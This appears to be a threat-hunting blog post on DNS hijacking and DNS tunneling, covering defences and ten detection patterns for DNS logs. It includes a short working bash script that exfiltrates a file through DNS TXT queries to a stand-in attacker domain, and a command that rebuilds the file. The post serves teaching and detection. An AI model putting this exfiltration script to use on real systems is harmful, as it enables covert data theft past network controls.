TfaTH II - A Deep Dive into DNS

The Domain Name System (DNS) is a network protocol that enables us to refer to remote objects by their textual name, rather than by their numeric address. DNS is one the few network fundamentals that is still very well established, even after several decades. However, the ubiquitous nature of DNS makes it an attractive target for threat actors. Over the past few years, DNS-based threats have been on the rise and continue to become more sophisticated. In this second blogpost of the ‘Tales from a Threat Hunter’ (TfaTH) series we are going to take a look at two traditional DNS-based attacks and defenses.

Lookup Process

Let’s start with a quick recap and review the domain lookup process. Imagine a client wants to resolve the hostname for a system in a remote domain. This is what happens next:

1. The internal (recursive) DNS server performs a preliminary check whether the remote hostname can be found in its local cache.
2. If not, the internal DNS server sends the DNS request of the client to a DNS root server.
3. The DNS root server redirects the internal DNS server to the associated DNS TLD server (e.g. .com, .nl, .be).
4. The DNS TLD server sends the mapped (authoritative) name server details to the internal DNS server.
5. The internal DNS server answers the DNS request of the client with the correct IP-address.

DNS Hijacking

The majority of the domain lookup process consists of the redirection of DNS queries. This is because DNS is highly decentralized. There is not a single DNS server that holds the records of all IP-addresses and corresponding domains. The query has to travel along a chain of DNS servers and retrieve the final answer. What if an attacker can compromise a domain and make it point to their own server? This technique, is known as “DNS hijacking”. The DNS records of a particular domain are changed, which causes it to point to an IP-address controlled by the attacker. DNS hijacking affects step 4 and 5 in the domain lookup process:

Two recent examples of DNS hijacking attacks are campaigns published by Cisco’s Talos; known as DNSpionage and SeaTurtle. DNSpionage utilized compromised name servers to redirect webmail server traffic to an attacker-controlled IP-address. After having control over the domain, valid SSL certificates were generated to conduct man-in-the-middle attacks. The Sea Turtle campaign added another layer of obfuscation by compromising the DNS registrars (TLD servers) and other infrastructure components. From here, the attackers were able to define its own malicious name servers, allowing for even more granular control over the incoming DNS traffic. To defend against DNS Hijacking attacks, the following countermeasures can be put into place:

• Monitor the resolution of active DNS records to ensure they are not redirected elsewhere.
• Protect credentials of DNS registrar administration portals by using MFA and monitoring the audit trail.
• Implement DNSSEC to enforce the use of digital signatures, which allows origin authentication and ensures DNS requests haven’t been tempered with.

DNS Tunneling

DNS traffic can be manipulated to bypass network security solutions and establish covert channels (C2) or serve as a vector to exfiltrate sensitive data. Setting up a hidden DNS channel is relatively straightforward. You will simply need to register a domain name and create the associated zone file and domain records on an externally hosted, authoritative DNS server. Assume the attacker registered the domain baddomain.com and the victim computer sends a DNS query for the domain cmVxdWVzdHRvc2VydmVy.baddomain.com. As discussed earlier, the DNS request will be processed by various DNS resolvers. The internal DNS server most likely has cached both the records of the domain extension (‘.com’) and perhaps even the second-level domain (baddomain.com). However it will fail to lookup cmVxdWVzdHRvc2VydmVy.baddomain.com. The internal DNS server will route the query to another nameserver which is authoritative for the domain (and subdomains), which is, in this case, the DNS tunnel server controlled by the attacker. The DNS tunnel server listens for specifically crafted DNS queries to receive C2 instructions or process data from the victim. Essentially, the DNS requests are being ‘proxied’; this ensures that there is no direct interaction between the victim and the attacker.

Formatting and encoding

DNS queries must adhere to both formatting and length requirements. For example, a DNS query must start and end with a digit, and the maximum length cannot exceed 255 characters, including dots, whereas each subdomain is limited to 63 characters. Base64 is commonly used as an encoding method to get around these restrictions as it greatly increases the amount of data that can be transmitted as each character represents 6-bits of data. The payload that is used to transmit data to the attacker is stored in the subdomain/hostname label of the DNS query.

Any type of DNS record can be misused though CNAME, TXT, and NULL are commonly chosen because of their large payload size. With large data transfers, the payload can be chunked into segments and placed into multiple resource records. In case of a C2 connection, the bots will start querying series of segments in a sequential manner until the last packet is received. The server can send C2 commands via DNS response packets containing encoded payload data in the resource data (RDATA) field of a recourse record (RR).

Caching can prevent identical DNS queries from being received by the attacker, which causes the data to be out of order. In order to prevent the domain records from being cached by an intermediate DNS server, the resource records generally have a low TTL. Another technique used by attackers is to embed an identifier like a timestamp to ensure every response has a unique value. It also serves as a method to re-order/assemble the chunks of data being sent by the victim. Finally, in case of a C2, system names can be embedded to serve as a bot identifier.

Simple DNS data exfiltration sample

Let’s take a look at a very simple bash script that exfiltrates a file via DNS using hex encoding and adding a number as unique data identifier:

#!/usr/bin/bash
if [ ! -e "sensitive_document.docx" ]
then echo "File cannot be found"
else i=0

hexdump -e '31/1 "%02x" "\n"' "sensitive_document.docx" | (while read line
        do host -t TXT $line"."$i".baddomain.com"
        i=$(($i+1))
done

echo 'Sent file segment: ' $i)
fi

The hex-encoded file segments will be sent from the victim and are received by the attacker through the proxied authorative nameserver. The data in the subdomain labels can then simply be decoded, which leads to the reconstruction of the file:

cat dns_requests.txt | xxd -r -p > sensitive_document.docx

Hunting in DNS logs

DNS queries and responses serve as a key data source for both incident response and threat hunting. DNS transactions are commonly collected from logs of internal DNS server(s), network span sessions, or through the endpoints itself (e.g. Sysmon EventID 22). Due to their massive volume, the onboarding of DNS logs to a centralized big data analytics platform can be problematic. As a minimum requirement, all of the internal to external DNS queries should be at the hunter’s disposal. Below are ten malicious, DNS-related detection patterns to hunt for:

1. Encoded DNS requests : domain names should be human-readable. Encoded DNS queries, e.g. hex values, XOR and base64 are highly likely to be related to data exfiltration activity as we’ve discussed before.

2. Typosquatting: intentionally misspelled domain names are often used for phishing attacks. Adversaries utilize Internationalized Domain Names (IDN) in their campaigns as it allows a domain name to contain Unicode characters of non-latin alphabets. For example, instead of google.com, the domain googĺe.com is used to fool users into visiting malicious websites. A tool like dnstwist can be used to generate a list of typosquatting domains for which DNS monitoring can be put into place.

3. Volume of requests: hunt for anomalies in the total amount of DNS requests send by clients. Create an overall baseline of client DNS traffic. You can look at outliers in the average number of DNS queries per hour or identify domains which have never been queried before, in a larger data set.

4. Age of domain: domain names that are less than a week old are more likely to be related to malicious activity than established domains. There are various websites available where you can download lists of newly registered or expired domains and correlate this data with DNS queries.

5. Request frequency: DNS queries sent with a low variance in time could very well indicate an asset beaconing to C2 infrastructure on a predetermined time slot.

6. Response errors: the DNS server replies with a NXDOMAIN (non-existing domain) return code 3 when it fails to lookup a requested domain. This is a well-known indicator for DGA used by malware to connect to their C2 infrastructure.

7. DNS query length: we’ve previously discussed the length restrictions of DNS queries. Continued DNS queries to lengthy domain names can be an indicator of DNS tunneling or DGA activity.

8. High amount of (unique) subdomains: encoded data can be chucked into multiple subdomain labels. DNS queries with a high number of subdomains could indicate malicious activity.

9. Type of records: hunt for abnormal DNS record types being requested. For example AXFR would indicate a zone transfer (attempt) and hosts sending an abnormal amount of CNAME, TXT, and NULL suggests DNS tunneling activity.

10. Utilization of other/public DNS servers: any asset that is not utilizing the default DNS server configured within an organization could be suspicious. Malware commonly changes the DNS configuration to route DNS queries to rogue DNS servers.

A Final Word on Encryption

Since DNS queries are send across the network in plain text, extensions to allow encryption of the DNS protocol are under heavy development and discussion. Both DNS over HTTPS (DoH) and DNS over TLS (DoT) encrypt the DNS communication between the stub-resolver (client) and the recursive resolver, without interference of an ISP. While the claim to protect the end user’s privacy sounds reasonable, organizations should question the intentions of tech giants such as Google and CloudFlare supporting DoH. In addition, as mentioned by the Dutch NCSC in a recent report, this controversial movement towards encryption will have impact on DNS visibility within an enterprise network. Applications can come pre-shipped with DNS resolver information, and even the first malware have been observed abusing encrypted HTTPS channels. In conclusion, DoH and DoT are good attempts to address the DNS security challenges we face today. However, it seems to have ignored the security monitoring requirements of organizations, empowering the decentralized factor of the DNS protocol to an even greater extend.